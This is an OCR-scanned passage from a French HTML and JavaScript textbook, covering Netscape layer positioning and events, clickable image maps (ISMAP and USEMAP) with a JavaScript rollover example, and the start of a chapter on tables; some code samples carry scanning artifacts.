Un document contient une couche qui à son tour contient un document. Ainsi, si un for­
mulaire est défini dans une couche, on accédera à un élément de ce formulaire par :
[Link]["nom_de_la_couche"].[Link][n].elements[i]...
Voir l'exemple de la page 127.

Les méthodes des couches

• moveBy(dx,dy) provoque un déplacement relatif à la position courante.
Exemple : [Link](20,-20) emmène la couche 20 pixels plus à droite et 20
pixels plus haut.
• moveTo(x,y) entraîne le déplacement de la couche à la nouvelle adresse graphique
x,y.
• moveToAbsolute(x,y) s'utilise dans le cas de couches emboîtées. En effet, la
méthode moveTo provoque alors un déplacement par rapport aux coordonnées de la
couche parente. Si l'on veut provoquer un déplacement par rapport à la page du

119
 Programmation HTML et JavaScript

browser, on utilisera cette méthode. Attention : si l'adresse absolue n'est pas à l'inté­
rieur de la couche parente, on perd la couche partiellement ou totalement !

Dans la figure ci-dessus :

• couche_C.moveToAbsolute(25,25) place couche_C au point P ; on perd la visibilité

de couche_C qui sort de couche_P son parent !
• couche_C.moveTo(25,25) place couche_C au point A.
• couche_C.moveBy(25,25) place couche_C au point T.

Le programme suivant permet de tester les différentes options de mouvement.

<html><head><title>Layers</title><script>

function test(mode){
switch (mode) {
case "by" :
docu­
[Link]["couche_P"].layers["couche_C"].moveBy(25,25);
break;
case "to" :
docu-

120
Positionnement dynamique

[Link]["couche_P"].layers["couche_C"].moveTo(25,25);
break;
case "abs" :
[Link]["couche_P"].layers["couche_C"].moveToAbso-
lute(25,25)
break;
}
}
</script></head><body>

<form><input type=button onClick=test("by") value=moveBy>

<input type=button onClick=test("to") value=moveTo>
<input type=button onClick=test("abs") value=moveToAbsolute></form>

<layer id=couche_P top=200 left=100

width=400 height=380 bgcolor=red>
<h1>couche_P
<layer id=couche_C top=150 left=150 width=160 height=160 bgcolor=blue>
<h1>couche_C
</layer>
</layer>
</body></html>

• resizeBy(dx,dy) augmente ou diminue la taille de la couche selon que dx ou dy sont

positifs ou négatifs. Exemple : [Link](-10,20) diminue la largeur de 10
pixels et augmente la longueur de 20 pixels.
• resizeTo(largeur,hauteur) définit une nouvelle taille absolue pour la couche.
• moveAbove(couche) transfère la couche devant la couche spécifiée en argument.
Exemple : [Link](couchel) empile la coucheM sur la couchel.
• moveBelow(couche) transfère la couche derrière la couche spécifiée en argument.
• load(url,largeur) charge dans la couche un nouveau document dont l'URL est spéci­
fiée dans le premier argument. Le second argument est obligatoire et contient la lar­
geur de la couche. Exemple : [Link]("/paris/[Link]",300).

Les événements liés aux couches

Ces événements sont au nombre de cinq et sont programmés dans la balise <LAYER>.
Mais bien sûr, tout événement programmé sur un autre objet (bouton, lien,...) peut lancer
un script qui interviendra sur des composants d'une couche :
• onFocus survient lorsqu'on clique dans la surface d'une couche.
• onBlur survient lorsqu'on quitte la surface d'une couche en cliquant ailleurs.
• onMouseOver survient lorsque le curseur glisse sur la couche, sans qu'il soit néces­
saire de cliquer.
• onMouseOut survient lorsque le curseur quitte la couche.

121
 Programmation HTML et JavaScript

• onLoad survient lorsque la couche est chargée par un fichier externe, que la couche
soit en mode visible ou non.

Nous allons maintenant étudier quelques exemples très simples permettant de compren­
dre comment animer du texte ou des zones de texte standard à l'aide d'événements. La
grande originalité est que maintenant on n'intervient pas seulement sur des objets de for­
mulaire ou sur des images, mais sur du texte ou sur des ensembles incluant tout ce qu'il
est possible de mettre dans un document HTML.

Exemple de déplacement d'un texte

Examinons un exemple simple animant un texte. Il fonctionne de la façon suivante : lors­
que le lecteur approche la souris du texte, celui-ci s'enfuit en glissant selon une diago­
nale vers le bas de l'écran. Le principe d'une telle animation repose sur l'événement
onMouseOver programmé dans la couche contenant le texte. Chaque fois que la souris
survole la couche, une fonction, qui augmente les valeurs TOP et LEFT et déplace le
texte, est appelée. On peut remarquer qu'à l'événement onMouseOver sont associées
deux instructions JavaScript, ce qui est parfaitement légal. La première instruction initia-
lise une variable globale i à la valeur zéro, la seconde instruction appelle la fonction qui
va animer le texte.

<HTML>
<head><title>Layers</TITLE>
<SCRIPT>

function fuite() {
i++;
if (i > 6) return;
[Link] += 10;
[Link] += 10;
setTimeout("fuite()",50);
}

< /SCRIPT></HEAD>

122
Positionnement dynamique

<BODY>
<LAYER ID=blocl TC>P=10px LEFT=40px onMouseOver="i=0; fuite()">
<H3>Vous n'arriverez jamais<BR>&agrave; cliquer sur ce texte !</H3>
</LAYER>
</BODY>

La fonction "fuite" est programmée ainsi : lorsque l'événement apparaît, la variable glo­
bale i est égale à zéro et on entre dans la fonction fuite. On incrémente la valeur de i et on
teste si cette valeur est supérieure à 6. Si tel n'est pas le cas, on incrémente les marges
(top et left) du bloc1 de 10 pixels, ceci ayant pour effet de déplacer d'autant le texte vers
le bas et vers la droite. On déclenche ensuite une temporisation qui, au bout de 50 milli­
secondes, relance la fonction, tant que la valeur de i est inférieure à 7. On réalise donc
ainsi un glissement progressif de 60 pixels. Sans temporisation, on n'aurait pas eu
l'impression d'un glissement, mais plutôt d'un saut.

Exemple sur l'empilement des couches

Cet exemple montre comment réaliser un système de fiches à onglets. En cliquant sur
l'onglet, la fiche passe au premier plan.

<html><head><title>Onglets</title>
<style type=text/javascript>
[Link] = 10; [Link] = 10;
[Link] = 10; [Link] = 10;
</style>
</head>
<body>
<!-- création des onglets -->
<b>
<layer id=fx1 bgcolor=#99ffff WIDTH=50 height=20 left=50
top=50 onFocus=[Link]=0>
<center>fiche1</center>
</layer>

123
 Programmation HTML et JavaScript

<layer id=f><2 bgcolor=#ff9999 width=50 height=20 left=100

top=50 onFocus=[Link]=0>
<center>fiche 2</center>
</layer>
<layer id=f><3 bgcolor=#ffff66 width=50 height=20 left=150
top=50 onFocus=[Link]=0>
<center>fiche 3</center>
</layer>
</b>

<!-- création des fiches -->

<layer id=f3 bgcolor=#ffff66 width=200 height=200 left=50 top=70
clip="0, 0,200,20011 >
<p>et enfin la fiche 3 <br>qui pourrait recevoir une applet Java
</layer>
<layer id=f2 bgcolor=#ff9999 width=200 height=200 left=50 top=70
clip="0,0,200,200">
<p>la fiche 2<br> pourrait &ecirc;tre un formulaire
</layer>
<layer id=fl bgcolor=#99ffff width=200 height=200 left=50 top=70
clip="0, 0, 200,200" >
<p> ceci est la fiche lcbr>elle pourrait contenir une image
</layer>

</body></html>

Cette application fonctionne de la manière suivante : on crée trois premières couches

pour constituer les onglets. Ces trois couches positionnées sans recouvrement seront tou­
jours visibles et un événement de type onFocus leur est associé.
Les trois couches suivantes, représentant les fiches, sont ajustées sous ces couches
d'onglet, mais se recouvrent totalement ; de plus, on limite la visibilité à la taille de la
fiche. Ces trois couches s'empilent dans l'ordre de leur création, la fiche 1 est donc affi­
chée dessus au chargement du document. Si l'on affiche (par une alerte) les z-index de
chacune des couches, on constate que les trois valeurs sont égales à zéro. Si, lors du clic
sur l'onglet, on réaffecte la valeur zéro à la fiche correspondant à l'onglet, cette fiche
passe au premier plan. On n'a pas modifié les z-index ; simplement en réaffectant une
valeur au z-index, et à condition que tous les z-index des couches soient égaux, on fait
passer la couche au premier plan.
On aurait pu programmer cette application de façon moins concise mais plus compréhen­
sible : sur les événements onFocus, on aurait appelé un script affectant par exemple la
valeur 1 sur le z-index de la fiche correspondante et 0 sur les autres. Il est à noter que l'on
ne peut pas intervenir sur les propriétés above et below qui ne sont accessibles qu'en lec­
ture.
Enfin remarquez qu'un style de paragraphe est appliqué sur le contenu de la fiche afin de
"décoller" le texte du bord de la fiche.

124
Positionnement dynamique

Exemple sur les méthodes

Cet exemple se propose de fabriquer une règle de 200 pixels que l'on puisse déplacer
dans la page du browser pour en mesurer des éléments. On peut choisir des déplacements
par pas de 1, 10 ou 100 pixels et se déplacer à l'aide de quatre boutons dans chacune des
directions. Remarquez que la règle est réalisée par alternance de couleur, tous les 10
pixels, et que l'on a utilisé vingt couches pour juxtaposer les rectangles. Ces couches ne
sont pas nommées et, pour simplifier, elles sont englobées dans une couche nommée
"réglé" qui sera utilisée pour effectuer les déplacements.

<html><head><title>regle</title>
<script>iv=10; </script></head>
<body>

<layer id=blocl top=10 left=0>

<table cellspacing=10 cellpadding=4xtrxtdxform>
<input type=radio name=fm onClick="iv=l">1 pixel<br>
<input type=radio name=fm onClick="iv=10" checked>10 pixels<br>
<input type=radio name=fm onClick="iv=100”>100 pixels<p>
</form>
<td><center><form>
<input type=button onClick=[Link](0,-1*iv)><br>
<input type=button onClick=[Link](-1*iv,0)>
<input type=button onClick=[Link](0,0)>
<input type=button onClick=[Link](1*iv,0)xbr>
<input type=button onClick=[Link](0,1*iv) >
</form></center></table></layer>

<font color=white>
<layer id=regle top =0 left=0>
<layer left=0 width=10 height=3 bgcolor=blue><center>0</layer>

125
 Programmation HTML et JavaScript

<layer left=10 width=10 height=3 bgcolor=black><center>1</layer>

<layer left=20 width=10 height=3 bgcolor=red><center>2</layer>
<layer left=30 width=10 height=3 bgcolor=black><center>3</layer>
<!-- idem pour 40,50,60.... 130, 140-->
clayer left=150 width=10 height=3 bgcolor=black><center>5</layer>
<layer left=160 width=10 height=3 bgcolor=red><center>6</layer>
<layer left=170 width=10 height=3 bgcolor=black><center>7</layer>
<layer left=180 width=10 height=3 bgcolor=red><center>8</layer>
<layer left=190 width=10 height=3 bgcolor=black><center>9</layer>
</layer>
< /font></body></html>

Exemple d'interface utilisant les couches

En dehors des quelques exemples simples que nous venons de donner, on trouve sur
l'Internet de nombreux sites de démonstration de cette technologie. Souvent, on illustre
l'intérêt de cette technique avec des jeux ou des animations. La possibilité de jouer sur la
visibilité ou sur la disposition d'un ensemble d'objets composant un écran est très inté­
ressante au niveau de l'ergonomie à donner à une interface de saisie. Dans l'exemple sui­
vant, qui décrit une partie de réservation de type TGV, le bouton de réservation du repas
n'apparaît que si l'on sélectionne la première classe. L'interface est ainsi allégée, elle
s'adapte aux options prises par le lecteur sans pour autant nécessiter une requête vers le
serveur.

126
Positionnement dynamique

<html><head><title>layers</title><script>

function opClasse (classe) {

switch (classe) {
case "1" :
[Link]["optRepas"].visibility="show" ;
break;
case "2" :
[Link]["optRepas"].visibility="hidden";
[Link]["optRepas"].[Link]-
ked=false;
break;
}
}
</script><body>

<layer id="choixClasse" top=50 left=50>

<form name="classe">
<input type="radio" name="cl" value="1" onClick=opClasse("1")>
premi&egrave;re classe<br>
<input type="radio" name="cl" value="2" onClick=opClasse(" 2 " ) >
seconde classe
</form>
</layer>

<layer id="optRepas" top=50 left=150 visibility="hidden">

<form name="qRepas">
<input type="checkbox" name="repas" value="oui">
r&eacute;servation repas
</form>
</layer>
</body></html>

Couleurs et unités
Dans ce chapitre, nous avons utilisé les couleurs en les nommant plutôt qu'en indiquant
la valeur des composantes RGB. En effet, depuis HTML 3.2, il est possible d'utiliser les
couleurs définies dans la palette Windows VGA, soit : aqua, black, fuchsia, gray, green,
lime, marroon, navy, olive, purple, red, silver, teal, white, yellow.
Sans indication spéciale, les unités sont le pixel (symbole px ) ou encore le point (sym­
bole pt). On peut aussi donner des unités relatives à la taille de la fonte en cours. Ainsi,
[Link]="2em" provoquera un espace à gauche égal à deux fois la hauteur de
l'élément fonte.

127
 Programmation HTML et JavaScript

On définit une couche par son nom et par son positionnement dans la
page, adresse graphique du coin en haut et à gauche : TOP et LEFT.
RÉSUMÉ

En mode CSS, la couche est définie à l'intérieur des balises de style

<STYLE> et </STYLE>. Son nom est précédé du caractère #.
La couche peut être positionnée en absolu ABSOLUTE (adressage
graphique dans la page) ou en relatif RELATIVE (adresse graphique
par rapport au dernier élément défini dans le document hors couche).
Le contenu de la couche est codé entre les balises <SPAN
ID=nom_de_la_couche> et </SPAN>.

En mode JavaScript, les balises <LAYER> pour positionnement

absolu et <ILAYER> pour positionnement relatif permettent à la fois de
définir la couche et d'en coder le contenu jusqu'à la balise </LAYER>.
En plus d'ID, TOP et LEFT, la balise <LAYER> admet les attributs sui­
vants :
• BGCOLOR pour la couleur de fond de la couche,
• BACKGROUND pour mettre une image en fond,
• WIDTH et HEIGHT pour régler la largeur et la hauteur de la couche
(en pixels),
• CLIP pour régler la zone de visibilité de la couche (en pixels),
• VISIBILITY pour faire disparaître la couche (VISIBILITY=HIDDEN), la
montrer (VISIBILITY=SHOW), ou dans le cas de couches imbriquées,
pour prendre la visibilité de la couche dans laquelle cette couche est
elle-même définie (VISIBILITY=INHERIT),
• SRC pour permettre d'aller chercher à l'URL qu'il définit un fichier con­
tenant le codage du contenu de la couche (SRC=URL).

Propriétés des couches :

• name renvoie le nom de la couche.

• left et top renvoient l'adresse graphique de la couche relativement
aux couches parentes en cas d'imbrications de couches.
• pageX et pageY renvoient toujours l'adresse graphique de la couche
dans la page.
• zlndex renvoie la valeur d'empilement.
• bgColor renvoie la couleur du fond.
• [Link] renvoie l'URLde l'image mise en fond.

128
Positionnement dynamique

• [Link] et [Link] renvoient les dimensions de la zone de visi­

bilité de la couche.
• [Link], [Link], [Link] et [Link] renvoient les adresses
graphiques de la zone de visibilité.
• visibilty renvoie l'information concernant l'affichage de la couche.
• src renvoie l'URL du document contenu dans la couche si cette der­
nière utilise un fichier externe.

Méthodes des couches :

• moveBy (dx,dy) déplacement relatif,

• moveTo (x,y) déplacement absolu par rapport à la couche,
• moveToAbsolute (x,y) déplacement absolu par rapport à la page,
• resizeBy (dx,dy) augmentation ou diminution de la taille de la cou­
che,
• resizeTo(largeur,hauteur) redéfinition de la taille de la couche,
• moveAbove(couche) placement de la couche devant la couche défi­
nie en argument),
• moveBelow(couche) placement de la couche derrière la couche défi­
nie en argument),
• load(url,largeur) chargement du document dont l'URL est spécifiée
dans la couche dont la largeur est obligatoirement précisée.

Les événements des couches :

• onFocus apparaît lorsqu'on clique sur la couche.

• onBlur apparaît lorsqu'on quitte un couche en cliquant en dehors.
• onMouseOver apparaît lorsque la souris survole la couche.
• on MouseOut apparaît lorsque la souris quitte la surface de la cou­
che.
• onLoad apparaît lorsqu'un fichier est chargé dans une couche.

129
 Chapitre 13

Images cliquables

Dans le chapitre précédent, nous avons utilisé des images en guise d'ancre. Nous étions
dans une situation où cliquer sur un point quelconque de l'image, entraînait la connexion
vers une seule et unique URL (voir Les images en guise d'ancres, page 84).
A plusieurs reprises, nous avons dit que l'on pouvait associer une URL à une portion
d'image, et que, en conséquence, cliquer sur cette zone de l'image pouvait permettre la
connexion vers cette URL. La correspondance entre différentes zones d'une image et dif­
férentes URL est nommée image cliquable ou encore image réactive.
Cette méthode est tellement utilisée par les concepteurs de serveurs Web qu'on trouve
fréquemment des sites où la home-page ne se compose que d'une image cliquable.

Figure 28 - Image cliquable

131
 Programmation HTML et JavaScript

La home-page de la société Next (figure 28, page 131) est bien conçue : elle se compose
essentiellement d'une image cliquable, mais une alternative en mode texte a cependant
été préservée pour les browsers non graphiques. Toute la home-page tient dans la fenêtre
du browser.
Pour réaliser une image cliquable, on commencera par mettre l'image à la taille souhai­
tée (voir Créer des images, page 407). Si on le peut, on testera la taille de l'image sur
diverses dimensions d'écran (PC, Mac, terminaux X), afin de déterminer la taille opti­
male, en effet, le travail qui va être fait ensuite est suffisamment fastidieux pour ne pas
avoir à le recommencer.
La seconde opération consiste à faire un relevé des coordonnées zone par zone des surfa­
ces cliquables. Si l'on décidait ensuite de modifier la taille de l'image, tout ce travail
serait à refaire.
Les zones cliquables vont pouvoir prendre les formes de rectangles, cercles ou polygo­
nes.

Système de coordonnées
Une image se mesure en points (ou pixels) ; l'origine de ces coordonnées se situe en haut
et à gauche de l'image.

Figure 29 - Coordonnées d'une image

La première méthode que nous allons décrire, bien qu'un peu ancienne, est encore large­
ment utilisée, et même préférée par certains concepteurs de pages qui lui trouvent l'avan­
tage de fonctionner même avec d'anciennes versions de browsers. Elle présente
néanmoins quelques inconvénients : elle nécessite l'installation sur le serveur d'un pro­
gramme particulier, imagemap, dont le but est de calculer, à partir des coordonnées gra­
phique l'URL à atteindre. Au niveau de l'utilisation, cette méthode est aussi beaucoup
plus lourde puisque cette résolution est à la charge du serveur ; on multiplie les accès
réseaux : à chaque clic sur l'image on fait un aller-retour entre le client et le serveur.

132
Images cliquables

Méthode n° 1 : imagemap, ismap

Cette méthode est de moins en moins utilisée car elle nécessite l'exécution d'un pro­
gramme sur le serveur. On lui préférera la méthode dite usemap, car la résolution com­
plète, coordonnés graphiques et URL associée, est réalisée localement par le browser.

Réalisation de la carte coordonnées - URL

Le premier travail consiste à créer un fichier dont chaque ligne définit une forme géomé­
trique pour la zone cliquable et son URL associée. La syntaxe est la suivante :

Le nombre de points dépend de la forme de la zone :

Le mot clé RECT sera utilisé pour un rectangle défini par 2 points : le sommet en
haut à gauche et le sommet en bas à droite.
Le mot clé CIRCLE sera utilisé pour un cercle défini par 2 points : le centre et un
point quelconque situé sur la circonférence.
Le mot clé POLY sera utilisé pour un polygone défini par un maximum de 100 vec­
teurs : on donne l'adresse de chaque extrémité du vecteur.
Les coordonnées des points sont exprimées en pixels, la valeur de X et Y étant sépa­
rée par une virgule et chacun des points séparé par un espace.

133
 Programmation HTML et JavaScript

Exemple de confection d'une image cliquable :

Figure 30 - Image cliquable

Dans l'exemple ci-dessus, l'image [Link] se compose d'un rectangle gris dans lequel
on trouve trois figures ; on souhaite qu'un clic sur le rectangle provoque une connexion
sur le serveur [Link], qu'un clic sur la flèche provoque une connexion au serveur
[Link], et qu'un clic sur le cercle provoque une connexion au serveur
[Link].
Le retour à l'URL locale /home_page.html doit être obtenu en cliquant sur n'importe
quelle autre zone de l'image.

La première étape consiste à créer le fichier décrivant les relations entre les surfaces
cliquables et les URL à atteindre :

défault /home_page.html
rect [Link] 5,5 21,14
poly [Link] 38,6 50,6 48,18 45,15 40,21 35,24
circle [Link] 52,32 45,32

Ce fichier sera enregistré par exemple sous le nom [Link] dans un répertoire du
serveur dont le nom pourrait être /map.
Notez bien que ce fichier n'a rien de commun avec un fichier HTML. Nous allons voir
maintenant comment il sera utilisé pour rendre l'image cliquable.

134
Images cliquables

La possibilité de gérer des images cliquables n'est pas due à une fonctionnalité intrinsè­
que du serveur Web (le démon HTTPD). Pour effectuer une telle opération, il faut exécu­
ter un programme particulier, imagemap1 en l'occurrence, qui a dû être précédemment
installé par l'administrateur dans la zone CGI du serveur (voir La programmation CGI,
page 237).
Précisons d'emblée qu'il n'est pas nécessaire d'être informaticien ou de connaître la pro­
grammation pour réaliser des images cliquables. La manipulation la plus complexe reste
l'écriture du fichier [Link] que nous venons d'expliquer.

On doit maintenant déclarer le fichier [Link] dans un fichier du serveur -

[Link] - situé à la racine du serveur. Ce fichier est connu du programme image­
map et va contenir ligne par ligne, sous un nom symbolique, l'adresse de tous les fichiers
définissant les images cliquables du serveur. On édite donc le fichier imagemap.conf2 et
on lui ajoute une ligne dans laquelle on le déclare en lui attribuant un nom symbolique et
en donnant son chemin d'accès.
Extrait du fichier [Link] :

troisM: /map/[Link]

L'opération suivante consiste à proposer la carte cliquable dans la page HTML.

La syntaxe générale sera la suivante :

<AHREF=cgi-bin/imagemap/nom_symbolique>
<IMG SRC=URL_image.gif ISMAP>
</A>
L'attribut ISMAP indique au browser qu'il est en présence d'une carte cliquable et qu'il
faudra qu'il relève les coordonnées du point cliqué.

Appliqué à notre exemple, cela donnera :

<A HREF="/cgi-bin/imagemap/troisM">
<IMG SRC="[Link]" ISMAP>
</A>

La dernière opération consiste à tester l'image en cliquant sur chacune des zones pré­
définies, y compris sur la zone par défaut, pour vérifier le bon fonctionnement de
l'ensemble.

1. Ce programme se trouve en standard dans la distribution du démon HTTPD fourni par

le NCSA.
2. On s'adressera éventuellement à l'administrateur du serveur (voir Installation d'un
démon httpd, page 425).

135
 Programmation HTML et JavaScript

Comment fonctionne une carte cliquable ?

A la demande du browser, le serveur envoie l'image cliquable. Le lecteur clique sur une
zone de l'image ; grâce à l'attribut ISMAP, le browser récupère les coordonnées de
l'image, puis déclenche l'accès vers l'URL cgi_bin/imagemap en passant les paramètres
suivants : le nom symbolique du fichier [Link], les coordonnées X et Y du point cliqué.
Le programme imagemap ouvre le fichier [Link] et retrouve l'adresse réelle du
fichier [Link] qu'il va ouvrir. Il compare le couple X,Y avec les différentes zones défi­
nies dans ce fichier et détecte ainsi l'URL demandée. Il effectue alors la connexion vers
cette URL.

Méthode N° 2 : usemap
La réalisation de ce type de carte est beaucoup plus aisée, car tout est inclus dans la page
HTML et il n'est pas nécessaire de disposer d'un programme spécial sur le serveur. Une
carte cliquable réalisée avec cette méthode peut être testée avec un simple browser, hors
de l'environnement d'un serveur.
Dans la première méthode, c'est le serveur qui a la charge de détecter, à partir des coor­
données du point saisi, l'URL à connecter.
Avec cette seconde méthode, lorsque le client a reçu la page HTML, il traitera entière­
ment la détection du point saisi, puis il effectuera la connexion vers l'URL détectée.
Outre la simplification de programmation, ce second mode est beaucoup plus efficace
puisqu'il minimise les accès sur le réseau.
L'image est définie avec la balise <IMG> à laquelle est associé l'attribut USEMAP Cet
attribut permet de référencer un "sous-programme HTML" décrivant les zones cliquables
et leurs URL associées.
La syntaxe d'appel sera donc :

<img src="[Link]" usemap="nom">

Le code de description de la carte se situe entre les balises <MAP NAME="nom"> et

</MAP>
Entre ces deux balises, on dispose des balises <AREA SHAPE="figure" HREF="url"
COORD="x0,Y0,xl,Yl,..."> pour décrire les zones cliquables.
Figure peut prendre les valeurs RECT, POLY ou CIRCL ; les coordonnées sont décrites
comme dans la figure 29, page 132.
Il est possible de remplacer l'attribut HREF par NOHREF pour une zone neutre de
l'image.

<html>
<head><title>image cliquable (usemap) </title></head>
<body>
<img src="[Link]" usemap="#boutons">

136
Images cliquables

<map name- "boutons">

<area shape="rect" href="[Link] coords=0,0,56,56>
<area shape="rect" href="[Link]
coords=56,0,113,56>
</map>
</body>
</html>

JavaScript et les images cliquables

L'apport de JavaScript sur les images cliquables est essentiellement visuel. Dans une
image cliquable classique, l'illustration une fois affichée à l'écran reste statique. En utili­
sant un script Java, on pourra modifier dynamiquement, au passage de la souris, la por­
tion de l'image correspondant à la zone sensible délimitée par la balise <area>.

Les événements de la balise <AREA>

Les deux événements de la balise <AREA> sont les suivants :
• onMouseOver apparaît lorsque la souris entre dans le champ.
• onMouseOut apparaît lorsque la souris sort du champ.
Ces deux événements sont insérés dans la balise <AREA> de la même façon que
n'importe quel attribut, la valeur de l'attribut étant le nom de la fonction, avec entre
parenthèses, la liste des paramètres passés à la fonction.

<area shape="rect" coords="0, 0, 50, 50" onMouseOver="affiche (1)" onMou-

seOut="affiche(0) href="[Link]">

Lorsque la souris entre (onMouseOver) dans l'espace de coordonnées {0,0 50,50} de

l'image, on effectue la fonction "affiche", qui reçoit alors la valeur 1 en paramètre
d'entrée. De la même manière, lorsque la souris quitte (onMouseOut) cet espace, on

137
 Programmation HTML et JavaScript

effectue la même fonction "affiche", qui reçoit maintenant la valeur 0 en paramètre

d'entrée. Bien sûr, il aurait été tout à fait possible d'appeler des fonctions différentes
pour chacun des événements.

Rappels sur l'objet image

Voir le manuel JavaScript Image(), page 353.

Avant d'étudier comment modifier l'aspect de l'image en fonction des mouvements de

souris, rappelons quelques concepts sur les images :
• Les images qui apparaissent dans le browser sont des objets au sens JavaScript ayant
un certain nombre de propriétés (hauteur, largeur, adresse du fichier contenant
l'image, nom, etc.).
• Pour créer une entité capable de recevoir le contenu d'un fichier graphique, il existe
une fonction JavaScript de construction d'un objet image : new Image(). Une des pro­
priétés de l'objet image, src, permet de spécifier l'URL du fichier graphique qui sera
chargé dans cet objet image. On peut ainsi expliquer le code suivant :

menu1 = new Image();

[Link] = "[Link]"

La première ligne n'a d'autre effet que de créer un objet image vide dont le nom est
"menu1".
La seconde instruction permet de précharger cet objet avec une image réelle
"[Link]". Cela a pour résultat de charger dans le cache1 du browser une image
dont le nom est "menu1 " ; à ce moment-là, aucun affichage n'est réalisé. Simplement,
à la fin du chargement de la page (code HTML et code JavaScript), une image est dis­
ponible dans le cache sans accès vers le serveur pour pouvoir l'afficher.
• Il est possible de référencer les images affichées sur une page comme un tableau.
Ainsi, si une page comporte trois images, on peut les référencer en partant du haut de
la page par :
[Link][0] [Link][1] [Link][2]

Réalisation d'une carte cliquable animée

Nous allons étudier comment utiliser les événements onMouseOver et onMouseOut pour
faire changer l'image lors du passage de la souris. Le problème peut se décomposer en
plusieurs étapes :
• On créera d'abord autant d'images de mêmes dimensions que de zones sensibles
devant être animées. L'image [Link] est l'image initiale affichée en l'absence

1. Cache : ensemble de mémorisation (mémoire RAM et disque) géré par le browser et

permettant de stocker temporairement les dernières pages accédées.

138
Images cliquables

de mouvement de souris. Dans notre exemple, on décide de travailler sur quatre

zones, soit cinq images en comptant celle au repos.

Figure 31 - Les images

• On détermine les coordonnées des zones sensibles.

• On écrit le fichier [Link] contenant le code HTML et le code JavaScript
suivant :

<html>
<head>
<title>Image cliquable animee</title>

<script>

// Le code situe entre ce commentaire et la fonction

// "affiche" est execute au chargement de la page

// création des images

menu0 = new Image();

menu1 = new Image();
menu2 = new Image();
menu3 = new Image();
menu4 = new Image();

// chargement des images dans le cache

[Link] = "[Link]"
[Link] = "[Link]"
[Link] = "[Link]"
[Link] = "[Link]"
[Link] = "[Link]"

139
 Programmation HTML et JavaScript

function affiche (num) {

// fonction appelee par les evenements onMouseOver et onMouseOut

if (num == "0") [Link][0].src = [Link];

else if (num == "1") [Link][0].src = [Link];
else if (num == "2") [Link][0].src = [Link];
else if (num == "3") [Link][0].src = [Link];
else if (num == "4") [Link][0].src = [Link];
}

</script>
</head>

<body bgcolor="#000000">

<map name="tabmap">
<area shape="rect" coords="19,4,99,31" href="[Link]"
onMouseOver="affiche(1)"
onMouseOut="affiche(0)">
<area shape="rect" coords="21,34,99,61" href="[Link]"
onMouseOver="affiche(2)"
onMouseOut="affiche(0)">
<area shape="rect" coords="21,63,173,87" href="[Link]"
onMouseOver="affiche(3)"
onMouseOut="affiche(0)">
<area shape="rect" coords="22,89,78,113" href="[Link]"
onMouseOver="affiche(4)"
onMouseOut="affiche(0)">
</map>

<img src="[Link]" usemap="#tabmap" border="0">

</body>
</html>

Dans ce code, on distingue deux parties dans la zone des scripts située entre les balises
<SCRIPT> et </SCIPT> . La première se compose d'instructions JavaScript qui ne sont
pas dans une structure de fonction. Ces instructions sont exécutées dès le chargement de
la page HTML. Il en résulte un transfert de toutes les images depuis le serveur vers le
cache du browser. La seconde partie est une fonction qui s'exécutera au moment où la
souris entre ou sort d'une zone sensible.
Dans le code HTML, on trouve la définition standard d'une image cliquable. Cette image
affichée au chargement de la page est la même que celle qui s'activera lorsque la souris
sortira du champ. Comme c'est la première (et la seule) de la page, elle se référence par
"[Link][0]".

140
Images cliquables

Le fonctionnement est maintenant très simple : la souris entre dans une zone sensible, par
exemple la troisième ; on appelle alors la fonction "affiche" en lui passant la valeur 3.
Cette valeur est reçue par la fonction, qui, au cours de sa série de tests, va détecter que
pour la valeur 3, il faut attribuer à l'objet image "[Link][0]" une nouvelle pro­
priété (modification de la propriété "src"). Comme pour cela il s'agit simplement de
modifier un pointeur sur une image en mémoire (les images sont dans le cache), la subs­
titution est instantanée.
Le scénario est le même pour la souris sortant de la zone, on substituera toujours l'image
"[Link]".

Remarque :
Que se passe-t-il si les images n'ont pas toutes la même taille ? L'image d'origine "docu­
[Link][0]" dans l'exemple précédent a une taille définie. Si on lui substitue des ima­
ges de tailles différentes, celles-ci vont s'ajuster à cette taille d'origine, donc s'agrandir
ou se réduire.

141
 RÉSUMÉ

Une image cliquable est définie par l'ensemble de balises suivant :

Méthode ISEMAP :

<A HREF=/cgi-bin/imagemap/nom_symbolique>
<IMG SRC=url_du_fichier.gif ISMAP>
</A>

/cgi-bin/imagemap/ est un programme devant être préalablement ins­

tallé dans le serveur Web pour pouvoir proposer des images cliqua­
bles.

[Link] est un fichier installé à la racine du serveur dans

lequel on va référencer sous un nom_symbolique l'adresse réelle du
fichier dans lequel sont décrites les relations entre les zones cliquables
et leurs URL associées.

Ce fichier de relations s'écrit de la façon suivante :

forme URL X1,Y1 X2,Y2...
Le couple Xn,Yn définit les coordonnées d'un point de la forme utilisée.
Il existe trois types de formes géométriques pour définir une zone cli­
quable :
CIRCL X1,Yi X2,Y2 - Le point 1 spécifie le centre du cercle, le point 2
un point quelconque situé sur le périmètre.
RECT X1,Yi X2,Y2 - Le point 1 spécifie le sommet supérieur gauche, le
point 2 le sommet inférieur droit.
POLY X1,Yi X2,Y2 ...Xn,Yn - Chaque point définit l'extrémité d'un vec­
teur composant le polygone.

L'unité de mesure utilisée est le pixel.

142
Images cliquables

Méthode USEMAP :

<IMG SRC=url__du__fichier.gif USEMAP=#nom>

USEMAP définit l'adresse d'une zone de code HTML dans laquelle

sont décrites les surfaces cliquables et les URL associées.
Cette zone débute par la balise <MAP NAME ="nom"> et se termine
par la balise </MAP>.
Entre ces deux balises, on définit les zones cliquables par des balises
<AREA SHAPE="figure" HREF="url" COORDS ="coordonnées">.
Les coordonnées des figures (RECT, POLY, CIRCL) sont toujours
exprimées en pixels.

Les événements associés à la balise <AREA> sont :

• onMouseOver
• onMouseOut.

143
 Chapitre 14

Les tableaux

HTML permet de réaliser des tableaux avec réglage de l'encadrement, de la taille et de

l'espacement des cellules. Ce chapitre décrit les principales balises permettant de présen­
ter un tableau.
La définition de la structure d'un tableau est tout à fait comparable à celle des listes. On
définit une balise de début de tableau, puis on décrit le tableau ligne par ligne et enfin on
indique la balise de fin de tableau. Cette structure est suffisamment simple pour que le
tableau soit facile à maintenir (modification du nombre de lignes et de colonnes).

Une cellule peut contenir les éléments suivants :

• texte
• listes
• images
• liens hypertexte
• éléments de formulaire (voir Les formulaires, page 191)

145
 Programmation HTML et JavaScript

Figure 32 - Dénomination des éléments dans un tableau HTML

<TABLE>
La balise <TABLE> permet l'ouverture d'un tableau ; la fin de tableau est spécifiée par
</TABLE>. On peut indiquer les attributs suivants : BORDER, CELLPADING, CELLS-
